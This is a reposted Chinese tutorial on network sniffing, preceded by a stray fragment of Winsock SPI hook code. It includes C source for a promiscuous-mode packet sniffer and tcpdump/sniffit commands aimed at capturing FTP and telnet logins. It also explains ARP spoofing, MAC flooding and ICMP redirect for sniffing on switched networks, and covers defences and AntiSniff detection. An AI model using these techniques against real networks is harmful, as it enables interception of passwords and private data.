if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
{
OutputDebugString(_T("wspstartupfunc Error!"));
return errorcode;
}

nextproctable=*lpproctable;
lpproctable->lpWSPSendTo=WSPSendTo;

freefilter();
return 0;
}

本文由[ 阳光狮人 www.sun-lion.com ]收集整理

嗅探的基本原理(转载)嗅探的基本原理(转载)

            一 前言

              SNIFF真是一个古老的话题,关于在网络上采用SNIFF来获取敏感信息已经不是什么新鲜事,也不乏很多成功的案例,那么,SNIFF究竟是什么呢?SNIFF就是嗅探器,就是窃听器,SNIFF静悄悄的工作在网络的底层,把你的秘密全部记录下来。看过威尔史密斯演的《全民公敌》吗?SNIFF就象里面精巧的窃听器一样,让你防不胜防。


              SNIFF可以是软件,也可以是硬件,既然是软件那就要分平台,有WINDOWS下的、UNXI下的等,硬件的SNIFF称为网络分析仪,反正不管硬件软件,目标只有一个,就是获取在网络上传输的各种信息。本文仅仅介绍软件的SNIFF。


              当你舒适的坐在家里,惬意的享受网络给你带来的便利,收取你的EMAIL,购买你喜欢的物品的时候,你是否会想到你的朋友给你的信件,你的信用卡帐号变成了一个又一个的信息包在网络上不停的传送着,你是否曾经这些信息包会通过网络流入别人的机器呢?你的担忧不是没有道理的,因为SNIFF可以让你的担忧变成实实在在的危险。就好象一个人躲在你身后偷看一样。。。。。。


            二 网络基础知识

             “网络基础知识”,是不是听起来有点跑题了?虽然听起来这和我们要谈的SNIFF没什么关系,可是还是要说一说的,万丈高楼平地起,如果连地基都没打好,怎么盖楼?!如果你对网络还不是十分清楚的话,最好能静下心来好好看看,要知道,这是基础的基础,在这里我只是简单的说一下,免得到时候有人迷糊,详细的最好能够自己去找书看看。


            (1)TCP/IP体系结构

              开放系统互连(OSI)模型将网络划分为七层模型,分别用以在各层上实现不同的功能,这七层分别为:应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP体系也同样遵循这七层标准,只不过在某些OSI功能上进行了压缩,将表示层及会话层合并入应用层中,所以实际上我们打交道的TCP/IP仅仅有5层而已,网络上的分层结构决定了在各层上的协议分布及功能实现,从而决定了各层上网络设备的使用。实际上很多成功的系统都是基于OSI模型的,如:如帧中继、ATM、ISDN等。


               TCP/IP的网络体系结构(部分)


            ———————————–
            | SMTP | DNS | HTTP | FTP | TELNET| 应用层
            ———————————–
            |    TCP    |   UDP      |  传输层
            ———————————–
            |  IP  |   ICMP   | ARP RARP | 网络层 
            ————————
            | IEEE 802 以太网 SLIP/PPP PDN etc| 数据链路层
            ———————————–
            |    网卡 电缆 双绞线 etc    | 物理层
            ———————————–

              从上面的图中我们可以看出,第一层物理层和第二层数据链路层是TCP/IP的基础,而TCP/IP本身并不十分关心低层,因为处在数据链路层的网络设备驱动程序将上层的协议和实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层(MAC)。   
                             

            (2)网络上的设备                          

            中继器:中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号,一句话,就是简单的放大而已,工作在物理层上。   

            网 桥:网桥使用MAC物理地址实现中继功能,可以用来分隔网段或连接部分异种网络,工作在数据链路层。

            路由器:路由器使用网络层地址(IP,X.121,E.164等),主要负责数据包的路由寻径,也能处理物理层和数据链路层上的工作。

            网 关:主要工作在网络第四层以上,主要实现收敛功能及协议转换,不过很多时候网关都被用来描述任何网络互连设备。

            (3)TCP/IP与以太网

              以太网和TCP/IP可以说是相互相成的,可以说两者的关系几乎是密不可分,以太网在一二层提供物理上的连线,而TCP/IP工作在上层,使用32位的IP地址,以太网则使用48位的MAC地址,两者间使用ARP和RARP协议进行相互转换。从我们上面TCP/IP的模型图中可以清楚的看到两者的关系。


              载波监听/冲突检测(CSMA/CD)技术被普遍的使用在以太网中,所谓载波监听是指在以太网中的每个站点都具有同等的权利,在传输自己的数据时,首先监听信道是否空闲,如果空闲,就传输自己的数据,如果信道被占用,就等待信道空闲。而冲突检测则是为了防止发生两个站点同时监测到网络没有被使用时而产生冲突。以太网采用广播机制,所有与网络连接的工作站都可以看到网络上传递的数据。


              为了加深你的理解,我们来看看下面的图,一个典型的在以太网中客户与服务器使用TCP/IP协议的通信。


            用户进程 FTP客户 <————————-> FTP服务器  应用层
            | |
            内核中的协议栈 TCP <————————-> TCP  传输层
            | |
            内核中的协议栈 IP <————————-> IP  网络层
            | |
            以太网驱动程序 <————————-> 以太网驱动程序  数据链路层

            ──────——————————- 
            以太网

              ??唆唆了这么多,有人烦了吧?相信我,这是基础的基础,可以说是说得是很简单拉,如果需要,拿出个几十万字来说上面的内容,我想也不嫌多,好了,让我们进入下一节,sniff的原理。


            三 SNIFF的原理

             要知道在以太网中,所有的通讯都是广播的,也就是说通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据,而每一个网络接口都有一个唯一的硬件地址,这个硬件地址也就是网卡的MAC地址,大多数系统使用48比特的地址,这个地址用来表示网络中的每一个设备,一般来说每一块网卡上的MFC地址都是不同的,每个网卡厂家得到一段地址,然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和IP地址间使用ARP和RARP协议进行相互转换。


              在正常的情况下,一个网络接口应该只响应这样的两种数据帧:

               1.与自己硬件地址相匹配的数据帧。                                                
                 2.发向所有机器的广播数据帧。

             在一个实际的系统中,数据的收发是由网卡来完成的,网卡接收到传输来的数据,网卡内的单片程序接收数据帧的目的MAC地址,根据计算机上的网卡驱动程序设置的接收模式判断该不该接收,认为该接收就接收后产生中断信号通知CPU,认为不该接收就丢掉不管,所以不该接收的数据网卡就截断了,计算机根本就不知道。CPU得到中断信号产生中断,操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据,驱动程序接收数据后放入信号堆栈让操作系统处理。而对于网卡来说一般有四种接收模式:


               广播方式:该模式下的网卡能够接收网络中的广播信息。                                      
                 组播方式:设置在该模式下的网卡能够接收组播数据。                                       
                 直接方式:在这种模式下,只有目的网卡才能接收该数据。                                   
                  混杂模式:在这种模式下的网卡能够接收一切通过它的数据,而不管该数据是否是传给它的。

             好了,现在我们总结一下,首先,我们知道了在以太网中是基于广播方式传送数据的,也就是说,所有的物理信号都要经过我的机器,再次,网卡可以置于一种模式叫混杂模式(promiscuous),在这种模式下工作的网卡能够接收到一切通过它的数据,而不管实际上数据的目的地址是不是他。这实际上就是我们SNIFF工作的基本原理:让网卡接收一切他所能接收的数据。


            (图一)

             我们来看一个简单的例子,如图一所示,机器A、B、C与集线器HUB相连接,集线器HUB通过路由器Router访问外部网络。这是一个很简单也很常见的情况,比如说在公司大楼里,我所在的网络部办公室里的几台机器通过集线器连接,而网络部、开发部、市场部也是同样如此,几个部门的集线器通过路由器连接。还是回到我们的图一上来,值得注意的一点是机器A、B、C使用一个普通的HUB连接的,不是用SWITCH,也不是用ROUTER,使用SWITCH和ROUTER的情况要比这复杂得多。


             我们假设一下机器A上的管理员为了维护机器C,使用了一个FTP命令向机器C进行远程登陆,那么在这个用HUB连接的网络里数据走向过程是这样的。首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了HUB上,现在由HUB向每一个接点广播由机器A发出的数据帧,机器B接收到由HUB广播发出的数据帧,并检查在数据帧中的地址是否和自己的地址相匹配,发现不是发向自己的后把这数据帧丢弃,不予理睬。而机器C也接收到了数据帧,并在比较之后发现是发现自己的,接下来他就对这数据帧进行分析处理。


             在上面这个简单的例子中,机器B上的管理员如果很好奇,他很想知道究竟登陆机器C上FTP口令是什么?那么他要做的很简单,仅仅需要把自己机器上的网卡置于混杂模式,并对接收到的数据帧进行分析,从而找到包含在数据帧中的口令信息。


            四 做一个自己的sniff

             在上一节里,我们已经知道了SNIFF的基本原理是怎么一回事,这一节我们来亲自动手做一个自己的sniff,毕竟,用程序代码来说话比什么都要来得真实,也容易加深理解。


              回头想一想我们上面说的原理,我们要做的事情有几件:

               1. 把网卡置于混杂模式。                                                   
                    2. 捕获数据包。                                                   
                          3.分析数据包。

            注:下面的源代码取至Chad Renfro的<< Basic Packet-SnifferConstruction from the
            Ground Up>>一文中
            /************************Tcp_sniff_2.c********************/
            1.#include  
            2.#include  
            3.#include
            4.#include
            5.#include
            6.#include
            7.#include  
            8.#include
            9.#include "headers.h"

            #define INTERFACE "eth0"

             /*Prototype area*/

            10.int Open_Raw_Socket(void); 
            11.int Set_Promisc(char *interface, intsock); 
            12.int main() {  
            13.int sock, bytes_recieved, fromlen;  
            14.char buffer[65535];
            15.struct sockaddr_in from; 
            16.struct ip *ip;
            17.struct tcp *tcp;  
            18.sock = Open_Raw_Socket();
            19. Set_Promisc(INTERFACE, sock);

            20. while(1)
            22. {
            23. fromlen = sizeof from;
            24. bytes_recieved = recvfrom(sock, buffer, sizeofbuffer, 0, (struct
            sockaddr *)&from, &fromlen);
            25. printf("\nBytes received :::%5d\n",bytes_recieved);
            26. printf("Source address :::%s\n",inet_ntoa(from.sin_addr));
            27. ip = (struct ip *)buffer;
            /*See if this is a TCP packet*/
            28. if(ip->ip_protocol == 6) {
            29. printf("IP header length :::%d\n",ip->ip_length);
            30. printf("Protocol :::%d\n",ip->ip_protocol);
            31. tcp = (struct tcp *)(buffer +(4*ip->ip_length));
            32. printf("Source port :::%d\n",ntohs(tcp->tcp_source_port));
            33. printf("Dest port :::%d\n",ntohs(tcp->tcp_dest_port));
            34. }

            35. }
            36.}
            37.int Open_Raw_Socket() {    
            38. int sock;
            39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0){
            /*Then the socket was not created properly and must die*/
            40. perror("The raw socket was not created");
            41. exit(0);
            42. };  
            43. return(sock);  
            44. }

            45.int Set_Promisc(char *interface, int sock ) {  
            46. struct ifreq ifr;      
            47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);
            48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {  
            /*Could not retrieve flags for the interface*/
            49. perror("Could not retrive flags for the interface");
            50. exit(0);
            51. } 
            52. printf("The interface is ::: %s\n", interface);  
            53. perror("Retrieved flags from interface successfully");
            54. ifr.ifr_flags |= IFF_PROMISC;  
            55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {  
            /*Could not set the flags on the interface */  
            56. perror("Could not set the PROMISC flag:");
            57. exit(0);    
            58. }
            59. printf("Setting interface ::: %s ::: to promisc",interface);
            60. return(0);
            61. }

            /***********************EOF**********************************/

              上面这段程序中有很详细的注解,不过我想还是有必要说一说,首先第10行–intOpen_Raw_Socket(void); 是我们的自定义函数,具体内容如下:

            37.int Open_Raw_Socket() {    
            38. int sock;
            39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0){
            /*Then the socket was not created properly and must die*/
            40. perror("The raw socket was not created");
            41. exit(0);
            42. };  
            43. return(sock);  
            44. }


                        

            第39行 if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

            这里我们调用了socket函数,使创建了了一个原始套接口,使之收到TCP/IP信息包。

              接下来第11行-int Set_Promisc(char *interface,
            intsock),这也是我们的自定义函数,目的是把网卡置于混杂模式,具体内容如下:
            45.int Set_Promisc(char *interface, int sock ) {  
            46. struct ifreq ifr;      
            47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);
            48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {  
            /*Could not retrieve flags for the interface*/
            49. perror("Could not retrive flags for the interface");
            50. exit(0);
            51. } 
            52. printf("The interface is ::: %s\n", interface);  
            53. perror("Retrieved flags from interface successfully");
            54. ifr.ifr_flags |= IFF_PROMISC;  
            55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {  
            /*Could not set the flags on the interface */  
            56. perror("Could not set the PROMISC flag:");
            57. exit(0);    
            58. }
            59. printf("Setting interface ::: %s ::: to promisc",interface);
            60. return(0);
            61. }

              首先 struct ifreq ifr;
            定一了一个ifrreg的结构ifr,接下来strncpy(ifr.ifr_name,interface,strnlen(interface)+1);,就是把我们网络设备的名字填充到ifr结构中,在这里#define
            INTERFACE "eth0" ,让我们再往下看,ioctl(sock,
            SIOCGIFFLAGS,&ifr),SIOCGIFFLAGS请求表示需要获取接口标志,现在到了第54行,在我们成功的获取接口标志后把他设置成混杂模式,ifr.ifr_flags|=
            IFF_PROMISC;ioctl (sock,
            SIOCSIFFLAGS,&ifr)。OK,现在我们所说的第一步已经完成——–把网卡置于混杂模式。

              现在进入第二步,捕获数据包。从第20行开始,我们进入了一个死循环,while(1),在第24行,recvfrom(sock,buffer,
            sizeof buffer, 0, (struct sockaddr
            *)&from,&fromlen),这个函数要做的就是接收数据,冰把接收到的数据放入buffer中。就是这么简单,已经完成了我们要捕获数据包的任务。


              到了第三步,分析数据包。27行,ip = (struct
            ip*)buffer,使我们在头文件中的IP结构对应于所接收到的数据,接下来判断在网络层中是否使用的是TCP协议,if(ip->ip_protocol==
            6) ,如果答案是,tcp信息包从整个IP/TCP包 buffer +(4*ip->ip_length) 地址处开始,所以31行 tcp
            = (struct tcp*)(buffer +(4*ip->ip_length)),然后对应结构把你所需要的信息输出。
            /*************************headers.h**************************/
            /*structure of an ip header*/ 
            struct ip {   
            unsigned int ip_length:4; /*little-endian*/ 
            unsigned int ip_version:4;
            unsigned char ip_tos; 
            unsigned short ip_total_length;  
            unsigned short ip_id;  
            unsigned short ip_flags;
            unsigned char ip_ttl;
            unsigned char ip_protocol;
            unsigned short ip_cksum;
            unsigned int ip_source; unsigned int ip_dest;  
            };

            /* Structure of a TCP header */
            struct tcp {
            unsigned short tcp_source_port;
            unsigned short tcp_dest_port;
            unsigned int tcp_seqno;  
            unsigned int tcp_ackno;
            unsigned int tcp_res1:4, /*little-endian*/
            tcp_hlen:4,
            tcp_fin:1,
            tcp_syn:1,
            tcp_rst:1,
            tcp_psh:1,
            tcp_ack:1,
            tcp_urg:1,
            tcp_res2:2;
            unsigned short tcp_winsize;
            unsigned short tcp_cksum;
            unsigned short tcp_urgent;
            };
            /*********************EOF***********************************/

             从上面的分析我们可以清楚的认识到,认识一个SNIFF需要对TCP/IP协议有着详细的了解,否则你根本无法找到你需要的信息。有了上面的基础,你可以自己来做一个你需要的SNIFF了。

            五 常用的SNIFF

             很少有原因会让你自己亲自动手来做一个自己的SNIFF,除非你是想了解他的原理,或者是其他一些特别的原因,比如你要在某个特殊的环境拦截一些特殊的数据包。下面我们就来看看一些在网络上经常使用的SNIFF。


            (1)windows环境下

             
            windows环境下当然是大名鼎鼎的netxray以及snifferpro了,实际上很多人都是用他在windows环境下抓包来分析,不过我想很少有人笨到去在别人的机器上安装一个图形界面的SNIFF,除非他和管理员很熟悉……..netxray的使用就不多说了,反正windows下的东西就是click,click,click,非常的方便用户。


            (2)UNUX环境下

             UNUX环境下的sniff可以说是百花齐放,一抓就是一大把,如sniffit,snoop,tcpdump,dsniff等都是比较常见的,他们都有一个好处就是发布源代码,可以让你研究,当然也都是免费的:)


            1. sniffit

              sniffit可以运行在Solaris、SGI和Linux等平台上,由LawrenceBerkeley Laboratory
            实验室开发的一个免费的网络监听软件。最近Sniffit0.3.7也推出了NT版本,并也支持WINDOWS2000.

            使用方法:
            -v 显示版本信息
            -a 以ASCII形式将监听的结果输出。
            -A 在进行记录时,所有不可打印的字符都用代替
            -b 等同于同时使用参数-t & -s。    
            -d 将监听所得内容以十六进制方式显示在当前终端 
            -p 记录连接到的包,0为所有端口。缺省为0。   
            -P protocol选择要检查的协议,缺省为TCP。可能的选择有IP、TCP、ICMP、UDP和他们的组合。
            -s 指定sniffer 检查从 发送的数据包。 -t 指定sniffer检查发送到的数据包。
            -i 进入交互模式   
            -l 设定数据包大小,default是300字节   
            注:参数可以用@来表示一个IP范围,比如 -t 192.168.@
            -t和-s只适用于TCP/UDP数据包,对于ICMP和IP也进行解释。但如果只选择了-p参数,则只用于TCP和UDP包。

            举例说明:

            #sniffit -a -p 21 -t xxx.xxx.xxx.xxx

            监听流向机器xxx.xxx.xxx.xxx的21端口(FTP)的信息,并以ASCII显示

            #sniffit -d -p 23 -b xxx.xxx.xxx.xxx

            监听所有流出或流入机器xxx.xxx.xxx.xxx的23端口(telnet)的信息,并以16进制显示

            你可以在这里找到sniffithttp://reptile.rug.ac.be/~coder/sniffit/sniffit.html

            2. snoop

             snoop默认情况安装在Solaris下,是一个用于显示网络交通的程序,不过SNIFF是把双刃剑,既然管理员能用他来监视自己的网络,当然一个心怀恶意的入侵者也可以用他来SNIFF自己感兴趣的内容。值得一提的是,SNOOP被发现存在一个缓冲区溢出漏洞,当以导致入侵者以运行snoop(通常为root)的身份远程进入系统。这是题外话,暂且就此打住。


            使用方法:
            [ -a ] # Listen to packets on audio
            [ -d device ] # settable to le?, ie?, bf?, tr?
            [ -s snaplen ] # Truncate packets
            [ -c count ] # Quit after count packets
            [ -P ] # Turn OFF promiscuous mode
            [ -D ] # Report dropped packets
            [ -S ] # Report packet size
            [ -i file ] # Read previously captured packets
            [ -o file ] # Capture packets in file
            [ -n file ] # Load addr-to-name table from file
            [ -N ] # Create addr-to-name table
            [ -t r|a|d ] # Time: Relative, Absolute or Delta
            [ -v ] # Verbose packet display
            [ -V ] # Show all summary lines
            [ -p first[,last] ] # Select packet(s) to display
            [ -x offset[,length] ] # Hex dump from offset for length
            [ -C ] # Print packet filter code


            例如:

            #snoop -o saved A B

            监听机器A与B的谈话,并把内容存储于文件saved中

            3. tcpdump

             tcpdmp也算是一个很有名气的网络监听软件,FREEBSD还把他附带在了系统上,是一个被很多UNIX高手认为是一个专业的网络管理工具。


            使用方法:
              tcpdump采用命令行方式,它的命令格式为:
            tcpdump [ -adeflnNOpqStvx ][ -c 数量 ][ -F 文件名 ][ -i网络接口 ][ -r 文件名][
            -s snaplen ][ -T 类型 ][ -w 文件名 ][表达式]
            1. tcpdump的选项介绍
            -a    将网络地址和广播地址转变成名字;
            -d    将匹配信息包的代码以人们能够理解的汇编格式给出;
            -dd    将匹配信息包的代码以c语言程序段的格式给出;
            -ddd   将匹配信息包的代码以十进制的形式给出;
            -e    在输出行打印出数据链路层的头部信息;
            -f    将外部的Internet地址以数字的形式打印出来;
            -l    使标准输出变为缓冲行形式;
            -n    不把网络地址转换成名字;
            -t    在输出的每一行不打印时间戳;
            -v   输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息;
            -vv    输出详细的报文信息;
            -c    在收到指定的包的数目后,tcpdump就会停止;
            -F    从指定的文件中读取表达式,忽略其它的表达式;
            -i    指定监听的网络接口;
            -r    从指定的文件中读取包(这些包一般通过-w选项产生);
            -w    直接将包写入文件中,并不分析和打印出来;
            -T   将监听到的包直接解释为指定的类型的报文,常见的类型有rpc和snmp

            2. tcpdump的表达式介绍

             表达式是一个正则表达式,tcpdump利用它作为过滤报文的条件,如果一个报文满足表达式的条件,则这个报文将会被捕获。如果没有给出任何条件,则网络上所有的信息包将会被截获。


             在表达式中一般如下几种类型的关键字,一种是关于类型的关键字,主要包括host,net,port,例如 host
            210.27.48.2,指明 210.27.48.2是一台主机,net 202.0.0.0指明
            202.0.0.0是一个网络地址,port 23指明端口号是23。如果没有指定类型,缺省的类型是host.

              第二种是确定传输方向的关键字,主要包括src , dst ,dst or src, dstand src ,这些关键字指明了
            传输的方向。举例说明,src 210.27.48.2,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0
            指明目的网络地址是202.0.0.0 。如果没有指明方向关键字,则缺省是src ordst关键字。

             
            第三种是协议的关键字,主要包括fddi,ip,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议,实际上它是"ether"的别名,fddi和ether具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpdump将会监听所有协议的信息包。


              除了这三种类型的关键字之外,其他重要的关键字如下:gateway,broadcast,less,greater,还有三种
            逻辑运算,取非运算是 ‘not ‘ ‘! ‘,与运算是’and’,'&&’;或运算 是’or’ ,’||’。

            举例使用:

            #tcpdump host AAA.BBB.CCC.DDD

            将监听IP地址为AAA.BBB.CCC.DDD的机器的通话

            #tcpdump tcp port 23 host AAA.BBB.CCC.DDD

            将监听IP地址为AAA.BBB.CCC.DDD的机器的23端口的通话

            4. dsniff

             之所以要谈谈dsniff,是因为他不仅仅是一个sniff,在他的整个套件包中,包含了很多其它有用的工具,如arpspoof,dnsspoof,macof,tcpkill等等,SNIFF的手段更加的多样和复杂化。dsniff是由DugSong开发的你可以在他的主页上找到这个工具。
            目前dsniff支持OpenBSD (i386),Redhat Linux (i386), 和Solaris (sparc).
            并且在FreeBSD, DebianLinux, Slackware Linux,
            AIX,和HP-UX上也能运转得很好。但是dsniff需要几个其他的第三方软件进行支持,他们分别是,BerkeleyDB
            ,OpenSSL, libpcap,
            libnet,libnids。如果条件允许的话,你最好能够亲自读一读dsniff的源代码,你可以在http://naughty.monkey.org/~dugsong/
            找到dsniff。


            六 深入sniff

             单纯的sniff的功能始终是局限的,所以在大多数的情况下,sniff往往和其他手段结合起来使用,sniff和spoof已及其他技术手段结合在一起对网络构成的危害是巨大的。单纯的sniff好比缺了一只腿,无法发挥大的作用,例如在sniff原理一节中我们讨论的例子里,我一再的强调我们使用的是一个普通的HUB进行连接是有原因的,如果我们把在图一中的HUB用一个switch代替,那情况就要复杂一些了,如图二所示:


            图(二)

             在图二中,我们的机器A、B、C与Switch相连接,而Switch通过路由器Router访问外部网络。我们先来了解Switch的工作原理:


              在我们图一中的
            HUB只是简单地把所接收到的信号通过所有端口(除了信号来的那个口)重复发送出去不同,而图二中的Switch却可以检查每一个收到的数据包,并对数据包进行相应的处理。在Switch内保存着每一个网段上所有节点的物理地址,只允许必要的网络流量通过Switch。举例来说,当Switch接收到一个数据包之后,根据自身保存的网络地址表检查数据包内包含的发送和接收方地址。如果接收方位于发送方网段,该数据包就会被Switch丢弃,不能通过交换机传送到其它的网段;如果接收方和发送方位于两个不同的网段,该数据包就会被Switch转发到目标网段。这样,通过交换机的过滤和转发,可以有效避免网络广播风暴,减少误包和错包的出现。顺便说一句,现在Switch和HUB的价格相去无几,所以hub正逐渐被网络交换机取代。


             现在回到我们的例子中来,在图二中仍然和图一一样,我们假设机器A上的管理员为了维护机器C,使用了一个FTP命令向机器C进行远程登陆,那么在这里,数据是这样走的:首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了Switch上,而Switch检查数据帧中的目的地址,并在他自身保存的网络地址表中知道了他应该把这数据帧发到机器C那里,于是,接下来机器C接收到了从A发来的信息,发现他是发给自己的信息,于是进行分析处理。


             OK,现在我们机器B上的管理员的好奇心只能深深的埋藏在心里了,因为数据包根本就没有经过他,就算他把自己的网卡设置成混杂模式也是有力无处使。


             在了解在一个Switch环境下原理后,我们结合一些手段去设法sniff,是的,我们可以做到这一点,有许多的手段可以让管理员B满足他的好奇心,在下面我会提出几个办法,当然只是其中的一些办法而已。


            1 ARP Spoof

              在基于IP通信的内部网中,我们可以使用 ARP
            Spoof的手段,了解什么是ARPSpoof的前提你先要明白一下什么是ARP和RARP协议,什么是MAC地址,什么又是IP地址。ARP协议是地址转换协议,RARP被称为反向地址转换协议,他们负责把IP地址和MAC地址进行相互转换对应。


              ARP Spoof 攻击的根本原理是因为计算机中维护着一个
            ARP高速缓存,并且这个ARP高速缓存是随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的,ARP高速缓存的目的是把机器的IP地址和MAC地址相互映射。你可以使用
            arp命令来查看你自己的
            ARP高速缓存。现在设想一下,一个Switch工作在数据链路层,他根据MAC地址来转发他所接收的数据包,而计算器维护的ARP
            高速缓存却是动态的……你想到什么了吗?

              为了加深理解,现在给我们的机器编上号,机器A:IP地址为 10.0.0.1,MAC地址为 20-53-52-43-00-01
            ,机器B:IP地址为 10.0.0.2 ,MAC地址为20-53-52-43-00-02,机器C:IP地址为 10.0.0.3
            ,MAC地址为20-53-52-43-00-03 。现在机器B上的管理员是个聪明的家伙,他向机器A发出一个 ARP
            Reply(协议没有规定一定要等ARP Request出现才 能发送ARPReply,也没有规定一定要发送过ARP
            Request才能接收ARPReply),其中的目的IP地址为10.0.0.1,目的MAC地址为20-53-52-43-00-01
            ,而源IP地址为10.0.0.3,源MAC地址为20-53-52-43-00-02 ,好了,现在机器A更新了他的
            ARP高速缓存,并相信了IP地址为10.0.0.3的机器的MAC地址是20-53-52-43-00-02
            。当机器A上的管理员发出一条FTP命令时—ftp10.0.0.3,数据包被送到了Switch,Switch查看数据包中的目的地址,发现MAC为20-53-52-43-00-02,于是,他把数据包发到了机器B上。再设想一下,如果不想影响A和C之间的通信该怎么办?你可以同时欺骗他们双方,来一个
            man-in-middle 。

             当然,在实际的操作中你还需要考虑到一些其他的事,比如某些操作系统在会主动的发送ARP请求包来更新相应的ARP入口等。

            2. MAC Flooding

             在上面我们曾经提到过,Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到那一个端口上是根据他本身维护的一张地址表。这张地址表可能是动态的也可能是静态的,这要看Switch的厂商和Switch的型号来定,对于某些Switch来说,他维护的是一张动态的地址表,并且地址表的大小是有上限的,比如 3comSuperstack
            Switch 3300 (3c16981 Hardware v.1
            Softwarev.2.10) 就是这样一种Switch,我们可以通过发送大量错误的地址信息而使SWITCH维护的地址表“溢出”,从而使他变成广播模式来达到我们要sniff
            机器A与机器C之间的通信的目的。

            3. Fake the MAC address

             伪造MAC地址也是一个常用的办法,不过这要基于你网络内的Switch是动态更新其地址表,这实际上和我们上面说到的ARP
            Spoof有些类似,只不过现在你是想要Switch相信你,而不是要机器A相信你。因为Switch是动态更新其地址表的,你要做的事情就是告诉Switch:HI,我是机器C。换成技术上的问题你只不过需要向Switch发送伪造过的数据包,其中源MAC地址对应的是机器C的MAC地址,现在Switch就把机器C和你的端口对应起来了。不过其中存在一个问题,现在机器C也会说了:HI,Switch老大,我才是机器C呢!,现在你该怎么办?切,还用问!让他说不了话就可以了,DOS还是其他什么,随便你了……


            4. ICMP Router Advertisements

             
            这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的,在Windows95、98、2000及SunOS、Solaris2.6等系统中,都使用了IRDP协议,SunOS系统只在某些特定的情况下使用该协议,而Windows95,Windows95b,
            Windows98, Windows98se,
            和Windows2000都是默认的使用IRDP协议。IRDP协议的主要内容就是告诉人们谁是路由器,设想一下,一个HACK利用IRDP宣称自己是路由器的情况会有多么的糟糕!所有相信HACK的请求的机器把他们所有的数据都发送给HACK所控制的机器………


            5. ICMP Redirect

             所谓ICMP重定向,就是指告诉机器向另一个不同的路由发送他的数据包,ICMP重定向通常使用在这样的场合下,假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内,而A和B都不知道这一点,只有路由器知道,当A发送给B的数据到达路由器的时候,路由器会向A送一个ICMP重定向包裹,告诉A:HI,别再送数据给我转交了,你就直接送到B那里就可以了。设想一下,一个hack完全可以利用这一点,使得A发送给B的数据经过他。


             上面提到的这些方法只不是其中的一些,为了配合sniff能够工作得更有效率,还有其他许多的办法,其实sniff的目的说穿了只有一个,就是抓包,从抓包这个概念上引伸下去,所有为了能够抓到网络上的信息包而采用的技术都可以归入sniff,单纯的sniff是没有什么效率的。你还能想到什么吗?进攻路由器,在路由器上放置sniff……,在系统内核中植入sniff……等等。

            七 如何防止SNIFF

             防止sniff最有效的手段就是进行合理的网络分段,并在网络中使用交换机和网桥,在理想的情况下使每一台机器都拥有自己的网络段,当然这会使你的网络建设费用增加很多,所以你可以尽量使相互信任的机器属于同一个网段,使他们互相之间不必担心sniff的存在。并在网段于网段间进行硬件屏障。你也可以使用加密技术对你在网络中传送的敏感数据如户ID或口令,你的银行帐号,商业机密等进行加密,你可以选用SSH等加密手段。为了防止ARP欺骗,你可以使用永久的ARP缓存条目,反正上面的攻击手段和原理你也看了,你就反过来想想该怎么办好了。不过有盾必有矛,平时的安全意识才是最重要的。


             (注:以下关于AntiSniff的介绍取至backend翻译整理的L0pht AntiSniff技术文档一文)

             
            当你做做层层保护后,你还是怀疑自己的网络上存在sniff该怎么办?L0pht小组为了探测sniff专门发布了一个软件 AntiSniff,当然这个软件不是免费的:),AntiSniff工具用于检测局域网中是否有机器处于混杂模式,AntiSniff
            Version1.x被设计为运行在以太网的Windows系统中,提供了简单易用的图形用户界面,AntiSniffVersion1.x 主要工作在非交换环境下的本地网段中,如果运行在交换环境下其功能将大打折扣。AntiSniffVer
            2.0将不但能在本地网段中,而且能够穿过路由器和交换机进行工作。

            ◆ 操作系统类特殊测试

            Linux 内核测试

             旧版本的Linux内核存在一个奇怪的特性,可被用于确定机器是否处于混杂模式。在正常情形下,网卡会过滤和丢弃那些目标地址不是本机MAC地址或以太网广播地址的数据包。如果数据包的目标地址为本机以太网地址或广播地址,将传送给内核进行处理,因为其认为该以太网数据帧包含了本机的正确IP地址或该网络广播地址。如果网卡处于混杂模式,则每个数据包都会传递给操作系统进行分析或处理。许多版本的Linux内核只检查数据包中的IP地址以确定是否存放到IP堆栈中进行处理。为了利用这一点,AntiSniff构造一个无效以太网地址而IP地址有效的数据包。对于使用了这些内核版本和处于混杂模式的Linux系统,由于只检查到IP地址有效而将其接收并存放到相应堆栈中。通过在这个伪造的以太网数据帧中构造一个ICMPECHO请求,这些系统会返回响应包(如果处于混杂模式)或忽略(如果不处于混杂模式),从而暴露其工作模式。当伪造的以太网数据帧中的IP地址设置为网络广播地址时这个测试非常有效。AntiSniff的使用者可以修改伪造的以太网址,缺省值为66:66:66:66:66:66。


            NetBSD

